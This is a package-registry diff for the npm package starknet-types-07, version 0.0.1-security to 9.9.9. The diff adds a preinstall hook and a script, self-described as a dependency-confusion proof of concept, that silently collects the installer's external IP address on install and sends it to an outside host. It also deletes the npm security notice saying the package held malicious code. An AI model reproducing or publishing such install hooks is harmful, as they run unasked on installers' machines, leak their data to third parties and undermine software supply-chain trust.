starknet-types-07 0.0.1-security → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of starknet-types-07 might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +9 -3
- package/preinstall.js +30 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "starknet-types-07",
|
3
|
-
"version": "
|
4
|
-
"description": "security
|
5
|
-
"
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "PoC for authorized security testing",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.js"
|
8
|
+
},
|
9
|
+
"keywords": ["security", "testing"],
|
10
|
+
"author": "Security Tester",
|
11
|
+
"license": "MIT"
|
6
12
|
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
// Minimal dependency confusion PoC for starknet-types-07
|
2
|
+
const https = require('https');
|
3
|
+
const os = require('os');
|
4
|
+
|
5
|
+
// Get current IP address (simplified approach)
|
6
|
+
let ip;
|
7
|
+
try {
|
8
|
+
const interfaces = os.networkInterfaces();
|
9
|
+
for (const name of Object.keys(interfaces)) {
|
10
|
+
for (const iface of interfaces[name]) {
|
11
|
+
// Skip over non-IPv4 and internal interfaces
|
12
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
13
|
+
ip = iface.address;
|
14
|
+
break;
|
15
|
+
}
|
16
|
+
}
|
17
|
+
if (ip) break;
|
18
|
+
}
|
19
|
+
} catch (e) {
|
20
|
+
ip = 'unknown';
|
21
|
+
}
|
22
|
+
|
23
|
+
// Make a simple GET request to prove execution
|
24
|
+
https.get(`https://verysecuredomain.com/dc_starknet07?ip=${ip}`, (res) => {
|
25
|
+
// Just silently complete
|
26
|
+
}).on('error', (e) => {
|
27
|
+
// Silently fail
|
28
|
+
});
|
29
|
+
|
30
|
+
// No console logs, no file writes - just the minimal SSRF
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=starknet-types-07 for more information.
|